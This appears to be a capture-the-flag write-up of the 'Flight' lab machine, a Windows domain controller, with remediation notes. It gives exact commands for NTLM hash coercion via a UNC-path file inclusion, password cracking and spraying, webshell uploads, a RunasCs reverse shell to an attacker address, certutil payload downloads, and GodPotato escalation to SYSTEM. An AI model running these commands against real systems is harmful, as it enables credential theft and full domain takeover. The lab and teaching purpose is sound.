Flight
Summary
Target Flight ($TARGET) is the flight.htb Active Directory domain controller. Vhost discovery uncovered a school.flight.htb site whose page-inclusion parameter accepted forward-slash UNC paths despite blocking backslashes and traversal, letting me coerce the web service account into authenticating to a rogue SMB listener.
The captured NetNTLMv2 hash cracked to a password that S.Moon had reused, and S.Moon's write access to a file share was abused to drop NTLM-coercion files that captured a second user's hash. That user's write access to the site's web root allowed a PHP webshell upload for code execution, and a follow-up RunasCs upgrade produced an interactive shell and user.txt.
From there, a writable internal IIS development site was found listening only on localhost; uploading an ASPX webshell into it yielded code execution as the IIS application pool identity, which held SeImpersonatePrivilege. A GodPotato impersonation exploit turned that privilege into NT AUTHORITY\SYSTEM, giving full control of the domain controller and root.txt.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -p- -sV -Pn $TARGETecho "$TARGET flight.htb" | sudo tee -a /etc/hostsffuf -u http://$TARGET/ -H 'Host: FUZZ.flight.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <baseline_size>Exact commands 5
curl -s 'http://school.flight.htb/index.php?view=C:/windows/system32/drivers/etc/hosts'sudo responder -I tun0curl -s "http://school.flight.htb/index.php?view=//$ATTACKER_IP/share/x"hashcat -m 5600 svc_apache.ntlmv2 /usr/share/wordlists/rockyou.txtnetexec smb flight.htb -u svc_apache -p '$PASSWORD4'FixSanitize the page-inclusion parameter and block outbound NTLM authentication to an unauthorised user infrastructureCritical
Exact commands 2
impacket-lookupsid flight.htb/svc_apache:'$PASSWORD4'@flight.htbnetexec smb flight.htb -u users.txt -p '$PASSWORD4' --continue-on-successFixEliminate password reuse across service and user accountsHigh
Exact commands 5
smbmap -H flight.htb -u S.Moon -p '$PASSWORD4'python3 ntlm_theft.py -g all -s $ATTACKER_IP -f xsmbclient //flight.htb/Shared -U flight.htb/S.Moon%'$PASSWORD4' -c 'put x/x.url x.url'sudo responder -I tun0hashcat -m 5600 c.bum.ntlmv2 /usr/share/wordlists/rockyou.txtFixRestrict write access on general-purpose SMB sharesHigh
Exact commands 4
smbclient //flight.htb/Web -U flight.htb/C.Bum%'$PASSWORD2' -c 'put shell.php styles/shell.php'curl -s 'http://school.flight.htb/styles/shell.php?cmd=whoami'curl -s "http://school.flight.htb/styles/shell.php?cmd=C:\\Windows\\Temp\\RunasCs.exe c.bum $PASSWORD2 cmd.exe -r $ATTACKER_IP:4444"nc -lvnp 4444Exact commands 5
netstat -ano | findstr 127.0.0.1:8000icacls C:\inetpub\developmentcertutil -urlcache -f http://$ATTACKER_IP:9001/cmd.aspx C:\inetpub\development\cmd.aspxcurl.exe -s http://127.0.0.1:8000/cmd.aspx?cmd=whoamicurl.exe -s "http://127.0.0.1:8000/cmd.aspx?cmd=whoami%20/priv"FixRemove world/user write access to the IIS development site content rootHigh
Exact commands 3
certutil -urlcache -f http://$ATTACKER_IP:9001/GodPotato-NET4.exe C:\inetpub\development\GodPotato-NET4.execurl.exe -s "http://127.0.0.1:8000/cmd.aspx?cmd=C:%5Cinetpub%5Cdevelopment%5CGodPotato-NET4.exe%20-cmd%20%22cmd%20/c%20whoami%22"curl.exe -s "http://127.0.0.1:8000/cmd.aspx?cmd=C:%5Cinetpub%5Cdevelopment%5CGodPotato-NET4.exe%20-cmd%20%22cmd%20/c%20type%20C:%5CUsers%5CAdministrator%5CDesktop%5Croot.txt%22"FixConstrain SeImpersonatePrivilege on service/app-pool accounts to prevent Potato-style escalationCritical
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49677/tcp | unknown recon-sweep-discovered |
| 49678/tcp | unknown recon-sweep-discovered |
| 49690/tcp | unknown recon-sweep-discovered |
| 49698/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |